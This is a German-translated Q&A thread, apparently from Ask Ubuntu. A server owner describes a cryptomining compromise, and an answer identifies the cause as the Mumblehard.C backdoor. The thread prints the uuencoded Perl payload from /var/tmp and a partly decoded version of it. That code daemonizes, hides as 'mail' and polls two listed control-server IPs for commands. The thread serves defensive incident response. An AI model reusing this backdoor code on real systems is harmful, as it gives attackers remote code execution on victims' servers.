Bitcoin-Mining-Angriff


7

Ich glaube, mein Server wurde angegriffen und ich freue mich über jede Hilfe.

Auf dem Bild Top-Prozess werden seltsame Prozesse angezeigt.

Die Ausgabe von netstat -tap zeigt mehrere:

tcp        0      1 myserver:47985            monero.crypto-pool:6666 SYN_ENVI    -

Wenn ich das tue: crontab -e oder crontab -l , zeigt es nichts. Dann habe ich folgendes gefunden:

sudo cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/tmp/dflubvojhH7 installed on Mon Jan  8 21:01:29 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/10 * * * * perl /var/tmp/dflubvojhH >/dev/null 2>&1

Überprüfen der Dateiberechtigungen

/var/spool/cron/crontabs# ll

-rw------- 1 ww-data       www-data     191 Jan 10 11:26 www-data

Dann habe ich diese ausführbare Datei gefunden:

ls /var/tmp/
gnqjfq

Der Inhalt der Datei:

$ cat /var/tmp/gnqjfq 
my $FMJJIN;$FMJJIN.=$_ while(<DATA>);eval(unpack('u*',$FMJJIN));
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
M($E/.CI3;V-K970["G5S92!)3SHZ4V5L96-T.PHD,"`](")M86EL(CL@)'P@
M/2`Q.R`F;6%I;B@I.PIS=6(@;6%I;@I["F5X:70@,"!U;FQE<W,@9&5F:6YE
M9"`H;7D@)'!I9"`](&9O<FLI.PIE>&ET(#`@:68@)'!I9#L*4$]325@Z.G-E
M='-I9"@I.PHD4TE'>R1??2`]("))1TY/4D4B(&9O<B`H<7<@*$A54"!)3E0@
M24Q,($9012!154E4($%"4E0@55-2,2!314=6(%534C(@4$E012!!3%)-(%1%
M4DT@0TA,1"DI.PIU;6%S:R`P.PIC:&1I<B`B+R(["F]P96X@*%-41$E.+"`B
M/"]D978O;G5L;"(I.PIO<&5N("A35$1/550L("(^+V1E=B]N=6QL(BD["F]P
M96X@*%-41$524BP@(CXF4U1$3U54(BD["FUY("1U<FP@/2!;(C<W+C<R+C@S
M+C$S-R(L(CDS+C@X+C<T+C(T,R)=.PIM>2`D<FYD(#T@6R)A(BXN(GHB+"`B
M02(N+B):(ET[("1R;F0@/2!J;VEN("@B(BP@0"1R;F1;;6%P('MR86YD($`D
M<FYD?2@Q+BXH-B`K(&EN="!R86YD(#4I*5TI.PIM>2`D9&ER(#T@(B]V87(O
M=&UP(CL@:68@*&]P96X@*$8L("(^(BP@(B]T;7`O)')N9"(I*2![(&-L;W-E
M($8[('5N;&EN:R`B+W1M<"\D<FYD(CL@)&1I<B`](B]T;7`B.R!]"FUY("@D
M:&5A9&5R+"`D8V]N=&5N="D["FUY("@D;&EN:RP@)&9I;&4L("1I9"P@)&-O
M;6UA;F0L("1T:6UE;W5T*2`]("@B96XN=VEK:7!E9&EA+F]R9R(L(")I;F1E
M>"YH=&UL(BP@,2P@.38L(#$P*3L*9F]R96%C:"!M>2`D<G,@*$`D=7)L*0I[
M"B1H96%D97(@/2`B)&1I<B\B("X@=&EM93L@)&-O;G1E;G0@/2`D:&5A9&5R
M("X@(C$B.PIU;FQI;FL@)&AE861E<B!I9B`M9B`D:&5A9&5R.R!U;FQI;FL@
M)&-O;G1E;G0@:68@+68@)&-O;G1E;G0["B9H='1P*"1R<RP@)'1I;65O=70L
M("1H96%D97(L("1C;VYT96YT+"`P*3L*:68@*&]P96X@*$8L("(\(BP@)&AE
M861E<BDI"GL*9FQO8VL@1BP@,3L*;7D@*"1T97-T+"`D=&%S:RD@/2`H,"P@
M(B(I.PIW:&EL92`H/$8^*0I["G,O7EQS*BA;7EQS73\N*BDD+R0Q+SL*<R]>
M*"XJ6UY<<UTI7',J)"\D,2\["FYE>'0@=6YL97-S(&QE;F=T:"`D7SL*)'1E
M<W0@*RL@:68@)%\@97$@(DA45%`O,2XP(#(P,"!/2R(@?'P@)%\@97$@(D-O
M;FYE8W1I;VXZ(&-L;W-E(CL@)'1A<VL@/2`D,2!I9B`O7E-E="U#;V]K:64Z
M(%!(4%-%4U-)1#TH6UX[72LI+SL*?0IC;&]S92!&.PHH)&QI;FLL("1F:6QE
M+"`D:60L("1C;VUM86YD+"`D=&EM96]U="D@/2`F9&5C>&0H)'1A<VLI(&EF
M("1T97-T(#T](#(@)B8@;&5N9W1H("1T87-K.PI]"G5N;&EN:R`D:&5A9&5R
M(&EF("UF("1H96%D97([('5N;&EN:R`D8V]N=&5N="!I9B`M9B`D8V]N=&5N
...

Ich habe das versucht:

  1. Kommentar der Cron-Zeile: Hat nicht funktioniert. Es wird ein neuer Cron erstellt
  2. Cron-Datei löschen www-data: Hat nicht funktioniert. Es wird eine neue Cron-Datei erstellt
  3. Cron-Zeile löschen und Eigentümer / Gruppe in root ändern: Hat nicht funktioniert. Ich weiß nicht, wie er es macht, aber nach 2 Tagen fing er wieder an zu arbeiten, aber der Cron bleibt leer und mit dem Wurzelbesitzer.

2
Möglicherweise fügen die Betriebssystem-, Kernel- und Cron-Version der Frage einige nützliche Informationen hinzu. Ich denke, Sie könnten versuchen, Cron zu bereinigen und neu zu installieren.
pa4080

2
Wenn es sich um einen Server handelt, empfehle ich Ihnen dringend, die Daten zu sichern und das Betriebssystem neu zu installieren. oder du bringst es runter und gräbst tiefer. Weil Sie sonst die Daten Ihrer Kunden ernsthaft gefährden.
Rajesh Rajendran

Es ist interessant, wie Sie sich authentifizieren, wenn Sie sich remote anmelden. Verwenden Sie das SSH-Schlüsselpaar?
pa4080

Antworten:


5

Dies scheint die Nutzlast von der Mumblehard.C-Hintertür zu sein. Diese Datei ermöglicht die Ausführung von beliebigem Code von den in der Datei aufgeführten Steuerungsservern und kann mit den Berechtigungen des WWW-Datenbenutzers ausgeführt werden.

Ich würde auf jeden Fall Ihre Daten sichern und neu installieren, aber der Umfang dieser Hintertür sollte nur der Benutzer von www-data sein und war wahrscheinlich auf eine veraltete WordPress-Installation zurückzuführen.

Es macht es absichtlich schwer zu töten. Sie können stattdessen alle Prozesse beenden, die unter dem Benutzer www-data ausgeführt werden, wenn Sie versuchen müssen, sie zu verringern, während das System noch ausgeführt wird.

Die Datei in / var / tmp ist ein Perl-Skript, das ein anderes Perl-Skript im Uuencode-Format codiert. Sie haben das Ganze nicht aufgenommen, aber hier ist, wie es bisher als einfacher Text aussieht:

#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0 = "mail"; $| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["77.72.83.137","93.88.74.243"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", @$rnd[map {rand @$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (@$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $conten

Dies scheint eng mit dem Code von hier übereinzustimmen:

http://hardwarefetish.com/681-mumblehard-c-trojan-unpacked

Wobei 77.72.83.137 und 93.88.74.243 die Steuerungsserver sind. Beide IPs sind in Russland registriert und gelten für VPS. Eine der IPs ist für Spam-Aktivitäten aufgeführt:

https://mxtoolbox.com/SuperTool.aspx?action=blacklist%3a93.88.74.243&run=toolpage

Wenn diese IPs in Suchmaschinen indiziert werden, muss der Angreifer sie automatisch deaktivieren. Obwohl ich bezweifle, dass es sehr wichtig ist, da die VPS Ihnen sowieso nicht legal helfen werden.


2
Betonen Sie die vorgeschriebene Lösung ( sichern Sie Ihre Daten und installieren Sie sie neu ), damit sie nicht unter den übrigen wichtigen Informationen verloren geht. Erwägen Sie, auf das Offensichtliche hinzuweisen: Ihr System wurde kompromittiert, und eine bloße Neuinstallation einiger Pakete sichert es nicht.
user535733
Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.